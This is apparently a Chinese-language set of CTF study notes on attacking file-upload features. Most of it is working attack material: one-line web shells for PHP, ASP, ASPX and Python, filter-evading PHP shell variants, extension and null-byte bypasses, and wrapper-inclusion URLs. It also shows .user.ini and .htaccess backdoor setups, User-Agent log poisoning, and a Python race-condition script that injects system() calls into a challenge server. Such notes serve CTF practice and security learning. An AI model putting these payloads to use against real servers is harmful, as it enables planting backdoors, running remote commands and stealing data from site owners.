文件上传
基础
一句话木马
//php
<?php @eval($_POST['shell']); ?>
//asp
<%eval request("cmd")%>
//aspx
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
import os
os.system(request.form['cmd'])
<% System.Diagnostics.Process.Start(Request["cmd"]); %>
php一句话木马变种
<?php @eval($_POST['cmd']); ?> //正常写法
<?=@eval($_POST['cmd']); ?> //短标签,适合过滤php
<% @eval($_POST['cmd']); %> //asp风格
<script language='php'>@eval($_POST['cmd']);</script> //<script>风格,适合过滤<?
文件名
过滤了php后缀
- 利用phtml
- php空格
- php.
- Php、pHp
- php5、php7、php9
- php.rar
- pphphp //双写扩展文件名
截断
%00截断
这个只有php <= 5.3的才有。高的就不行了。所以就先不试了。(懒得下php5.3了= =)大概就是如下例:
test.php%00.jpg
这是程序就会去掉%00后面的字符串。所以程序读取时候就变成了
test.php
0x00截断
原理是,程序读取文件名时。遇到0x00。就认为文件名结束了。因为0x00就是字符0.也就相当于false和空。类似于c语言读取字符串遇到\0认为是字符串结束一样。
get方式
原始文件名: xiaoma.php.jpg
截断后: xiaoma.php%00.jpg
URL解码后: xiaoma.php[NULL].jpg
结果: 只保存xiaoma.php
post方式
Content-Disposition: form-data; name="file"; filename="xiaoma.php\x00.jpg"
二进制00截断,绕过文件类型检查
文件头绕过
GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>
伪协议
http://123.57.51.183:8007/index.php?file=zip://./upload/a1b2c7.zip.jpg%23a.php
测试绝对路径和相对路径,蚁剑都可以
http://123.57.51.183:8007/index.php?file=zip:///var/www/html/upload/a1b2c7.zip.jpg%23a.php
php://filter/convert.base64-encode/resource=flag.php
过滤关键字
过滤了<?
<script language="php">
eval($_POST['1']);
</script>
过滤了eval
$a='ass'.$b.'ert';
$a($_POST['cmd']);
拼接绕过
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
agent记录
发现日志文件会记录我们的UA头,我们可以将恶意代码放入UA头中来获取flag

.user.ini
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
bp样例:

// .user.ini
auto_prepend_file = 1.jpg
// 1.jpg
<?php phpinfo();?>
// 1.php(任意php文件)
满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require('1.png'),进行了文件包含。
user.ini的题目源码:
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
.htaccess
# 将扩展名映射到 PHP 解析器
AddHandler application/x-httpd-php .rhtml .phtml .pht .phps .php3 .php3p .php4 .php5
# 或使用 AddType
AddType application/x-httpd-php .phtml .php3 .phps
filesMatch
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传顺序:
- .htaccess
- xiaoma.jpg (含PHP代码)
- 访问: /upload/xiaoma.jpg
AddType
AddType application/x-httpd-php .jpg
上传顺序:
- .htaccess
- 任意.jpg文件 (含PHP代码)
- 所有.jpg按PHP解析
竞争
import requests
import threading
import re
# 创建一个会话对象,保持会话的状态
session = requests.session()
# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'zho'
# 目标URL
url1 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/"
url2 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/upload"
# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' # 使用system函数执行命令
}
# 要上传的文件数据
file = {
'file': '111' # 文件名可以随意设置
}
# 设置会话cookie
cookies = {
'PHPSESSID': sess # 上传过程中使用固定的PHPSESSID
}
# 定义上传文件的函数,持续发送POST请求
def upload_file():
while True:
session.post(url1, data=data1, files=file, cookies=cookies)
# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():
while True:
response = session.get(url2) # 访问目标URL,检查是否能获取到flag
if 'flag' in response.text: # 检查返回内容中是否包含flag
# 正则匹配flag,格式为ctfshow{}
flag = re.search(r'ctfshow{.+}', response.text)
if flag:
print(flag.group()) # 如果找到flag,打印它
# 创建两个线程,一个上传文件,一个检查flag
threads = [
threading.Thread(target=upload_file),
threading.Thread(target=check_flag)
]
# 启动所有线程
for t in threads:
t.start()